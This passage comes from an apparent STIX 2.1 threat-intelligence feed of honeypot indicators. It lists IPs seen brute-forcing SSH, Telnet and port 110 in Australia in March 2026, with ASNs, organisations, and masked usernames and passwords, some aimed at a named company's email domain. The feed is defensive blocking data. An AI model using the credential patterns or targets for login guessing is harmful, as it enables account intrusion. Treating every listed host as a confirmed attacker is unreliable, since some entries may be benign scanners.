      "valid_until": "2026-04-04T11:15:12.000Z"
    },
    {
      "created": "2026-03-03T11:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): b*****g@bardengineering.com. Passwords observed (masked): B******************5.",
      "id": "indicator--ca71eb1b-a8f9-482a-986b-cbfa519de84a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T11:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.94.9.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T11:15:13.000Z",
      "valid_until": "2026-04-04T11:15:12.000Z"
    },
    {
      "created": "2026-03-03T11:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 4713. Organisation(s): NTT DOCOMO BUSINESS,Inc..",
      "id": "indicator--69bed988-b0ec-4fad-8ed6-82c73d3f95c0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T11:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '180.15.206.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T11:15:13.000Z",
      "valid_until": "2026-04-04T11:15:12.000Z"
    },
    {
      "created": "2026-03-03T11:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--b30b4375-549e-4757-b2f5-89e1dc2a006b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T11:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '182.138.158.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T11:15:13.000Z",
      "valid_until": "2026-04-04T11:15:12.000Z"
    },
    {
      "created": "2026-03-03T11:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 42624. Organisation(s): Global-Data System IT Corporation. Usernames observed (masked): r**t. Passwords observed (masked): t********s.",
      "id": "indicator--da7f2679-4b11-40b9-a0ee-64945f35d9c1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T11:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.208.159.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T11:15:13.000Z",
      "valid_until": "2026-04-04T11:15:12.000Z"
    },
    {
      "created": "2026-03-03T11:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 211298. Organisation(s): Driftnet Ltd.",
      "id": "indicator--2e8eb4be-de74-45c3-b29c-7b63316ef923",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T11:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.247.137.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T11:15:13.000Z",
      "valid_until": "2026-04-04T11:15:12.000Z"
    },
    {
      "created": "2026-03-03T11:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): **@bardengineering.com. Passwords observed (masked): B******************@.",
      "id": "indicator--1b96f5a6-5ef1-4ac2-b17f-6e9be31e3d80",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T11:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.93.89.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T11:15:13.000Z",
      "valid_until": "2026-04-04T11:15:12.000Z"
    },
    {
      "created": "2026-03-03T11:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): b*****g@bardengineering.com. Passwords observed (masked): b*****************6.",
      "id": "indicator--14d23e47-f39e-4ac0-858f-4d1e553ee709",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T11:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.93.89.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T11:15:13.000Z",
      "valid_until": "2026-04-04T11:15:12.000Z"
    },
    {
      "created": "2026-03-03T11:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): **@bardengineering.com. Passwords observed (masked): b******************5.",
      "id": "indicator--37e4a552-ce0e-4f91-bd3f-3c900357ef2d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T11:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.93.89.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T11:15:13.000Z",
      "valid_until": "2026-04-04T11:15:12.000Z"
    },
    {
      "created": "2026-03-03T11:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MX. ASN(s): 8151. Organisation(s): UNINET. Usernames observed (masked): r**t. Passwords observed (masked): t**t.",
      "id": "indicator--72a9a38a-53c5-4a33-a56c-57b874e893d8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T11:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '189.164.231.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T11:15:13.000Z",
      "valid_until": "2026-04-04T11:15:12.000Z"
    },
    {
      "created": "2026-03-03T11:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): w*******r@bardengineering.com. Passwords observed (masked): b******************5.",
      "id": "indicator--1bc0785a-7d2c-4628-83e0-2bd84c0b0c0e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T11:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '192.253.248.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T11:15:13.000Z",
      "valid_until": "2026-04-04T11:15:12.000Z"
    },
    {
      "created": "2026-03-03T11:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): p********r@bardengineering.com. Passwords observed (masked): B******************5.",
      "id": "indicator--a5b3164b-8322-4a82-8688-ed6a156ad158",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T11:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '192.253.248.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T11:15:13.000Z",
      "valid_until": "2026-04-04T11:15:12.000Z"
    },
    {
      "created": "2026-03-03T11:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): a***e@bardengineering.com. Passwords observed (masked): B*************g.",
      "id": "indicator--208f5abe-8033-4449-bdd4-6e8ff031761e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T11:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '192.253.248.96']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T11:15:13.000Z",
      "valid_until": "2026-04-04T11:15:12.000Z"
    },
    {
      "created": "2026-03-03T11:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 206. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, !**********c, A***********9, B********3.",
      "id": "indicator--5ecd5351-3e35-40fa-9a57-f94c9e432fc9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T11:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '192.99.145.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T11:15:13.000Z",
      "valid_until": "2026-04-04T11:15:12.000Z"
    },
    {
      "created": "2026-03-03T11:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, B*********9, Q**********!, W*******!.",
      "id": "indicator--e83cea95-97fd-4783-8b7d-b0aac10292e9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T11:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '198.244.233.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T11:15:13.000Z",
      "valid_until": "2026-04-04T11:15:12.000Z"
    },
    {
      "created": "2026-03-03T11:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VE. ASN(s): 8048. Organisation(s): CANTV Servicios, Venezuela. Usernames observed (masked): r**t. Passwords observed (masked): 1*******1.",
      "id": "indicator--8c38a34f-fad1-4771-918f-59c21f6ad910",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T11:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '200.44.190.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T11:15:13.000Z",
      "valid_until": "2026-04-04T11:15:12.000Z"
    },
    {
      "created": "2026-03-03T11:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 276. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MX. ASN(s): 270133. Organisation(s): Fiberwifi SA de CV. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, #******************#, 1********p, A*******4.",
      "id": "indicator--5f1691d1-b5b4-4078-ade0-bfefafd4c4b8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T11:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.22.170.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T11:15:13.000Z",
      "valid_until": "2026-04-04T11:15:12.000Z"
    },
    {
      "created": "2026-03-03T11:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 206. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, #******************#, 1********p, A*******4.",
      "id": "indicator--9462fae7-c6d2-4484-84d7-92b8c5e1a1fe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T11:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '43.133.148.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T11:15:13.000Z",
      "valid_until": "2026-04-04T11:15:12.000Z"
    },
    {
      "created": "2026-03-03T11:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 31898. Organisation(s): Oracle Corporation. Usernames observed (masked): r**t. Passwords observed (masked): t********s.",
      "id": "indicator--d2db912d-4cc1-4a80-b99b-b0c8e86a0516",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T11:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '50.6.251.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T11:15:13.000Z",
      "valid_until": "2026-04-04T11:15:12.000Z"
    },
    {
      "created": "2026-03-03T11:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): s*****t@bardengineering.com. Passwords observed (masked): B******************@.",
      "id": "indicator--da9d732a-3bad-4029-916c-feaf7e7c548c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T11:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '77.90.185.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T11:15:13.000Z",
      "valid_until": "2026-04-04T11:15:12.000Z"
    },
    {
      "created": "2026-03-03T11:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): o****s@bardengineering.com. Passwords observed (masked): b*****************@.",
      "id": "indicator--70238ffe-6804-402f-9f16-bfdfaa2bd9ca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T11:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '77.90.185.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T11:15:13.000Z",
      "valid_until": "2026-04-04T11:15:12.000Z"
    },
    {
      "created": "2026-03-03T11:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): w*******r@bardengineering.com. Passwords observed (masked): b****************3.",
      "id": "indicator--16ec4d39-d4fb-48ee-ab24-60e78c8d5a2b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T11:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '77.90.185.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T11:15:13.000Z",
      "valid_until": "2026-04-04T11:15:12.000Z"
    },
    {
      "created": "2026-03-03T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 200. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 31898. Organisation(s): Oracle Corporation. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1****@, **, B********3.",
      "id": "indicator--96decabf-20ad-41ae-8e37-0070fa25eb00",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.100.194.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T12:15:13.000Z",
      "valid_until": "2026-04-04T12:15:11.000Z"
    },
    {
      "created": "2026-03-03T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 112. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1****0, 3***********4, 3**********4, A******4, A********6.",
      "id": "indicator--2e0ec5fc-3e7f-4c87-bafc-f2a24f0f675c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '121.134.60.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T12:15:13.000Z",
      "valid_until": "2026-04-04T12:15:11.000Z"
    },
    {
      "created": "2026-03-03T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 136. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1**********#, 1*******d, 3***********4, 3**********4, A********@.",
      "id": "indicator--88da100d-4e50-4286-bc64-15e6d92abfc0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '146.190.79.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T12:15:13.000Z",
      "valid_until": "2026-04-04T12:15:11.000Z"
    },
    {
      "created": "2026-03-03T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PE. ASN(s): 27843. Organisation(s): WIN EMPRESAS S.A.C.. Usernames observed (masked): r**t. Passwords observed (masked): M*******..",
      "id": "indicator--3b0d7736-420c-4967-b454-6751963008c0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '161.132.125.166']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T12:15:13.000Z",
      "valid_until": "2026-04-04T12:15:11.000Z"
    },
    {
      "created": "2026-03-03T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): p******s@bardengineering.com. Passwords observed (masked): B*************g.",
      "id": "indicator--0a1bfb5e-057d-4c12-960c-ed866171f202",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.94.9.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T12:15:13.000Z",
      "valid_until": "2026-04-04T12:15:11.000Z"
    },
    {
      "created": "2026-03-03T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): n***********s@bardengineering.com. Passwords observed (masked): b*****************@.",
      "id": "indicator--724087f8-61a5-4cfd-9816-4e9498b73b20",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.94.9.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T12:15:13.000Z",
      "valid_until": "2026-04-04T12:15:11.000Z"
    },
    {
      "created": "2026-03-03T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): c********s@bardengineering.com. Passwords observed (masked): b******************5.",
      "id": "indicator--7fd5441d-0cce-436e-b043-ecba552ade18",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.93.89.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T12:15:13.000Z",
      "valid_until": "2026-04-04T12:15:11.000Z"
    },
    {
      "created": "2026-03-03T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): b*****g@bardengineering.com. Passwords observed (masked): B*****************3.",
      "id": "indicator--339a3096-3e3b-41b6-8bb7-1c528fef6286",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.93.89.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T12:15:13.000Z",
      "valid_until": "2026-04-04T12:15:11.000Z"
    },
    {
      "created": "2026-03-03T12:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 262725. Organisation(s): RG SILVEIRA LTDA.",
      "id": "indicator--305b6558-00da-4cdf-9028-68b8191d7830",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '186.192.8.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T12:15:13.000Z",
      "valid_until": "2026-04-04T12:15:11.000Z"
    },
    {
      "created": "2026-03-03T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): n***********s@bardengineering.com. Passwords observed (masked): B*****************3.",
      "id": "indicator--1ba74ff7-c2d4-4ad2-9e8e-f90c3304ed29",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '192.253.248.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T12:15:13.000Z",
      "valid_until": "2026-04-04T12:15:11.000Z"
    },
    {
      "created": "2026-03-03T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 124. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 207713. Organisation(s): Global Internet Solutions LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 8**6, A*******a, A*******4.",
      "id": "indicator--3c2c1f89-2420-4efa-b7d6-f3e7dfec9c12",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '193.233.48.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T12:15:13.000Z",
      "valid_until": "2026-04-04T12:15:11.000Z"
    },
    {
      "created": "2026-03-03T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 124. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AM. ASN(s): 215540. Organisation(s): Global Connectivity Solutions Llp. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1****@, 3***********4, **, 3**********4, B********3.",
      "id": "indicator--b8ddfe93-d4dd-4039-accc-034afefc300f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '194.156.103.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T12:15:13.000Z",
      "valid_until": "2026-04-04T12:15:11.000Z"
    },
    {
      "created": "2026-03-03T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 124. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 41745. Organisation(s): Baykov Ilya Sergeevich. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1****@, 3***********4, **, 3**********4, B********3.",
      "id": "indicator--7036f0f1-6fe2-47e5-9d55-9e74a1ccc258",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '194.190.153.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
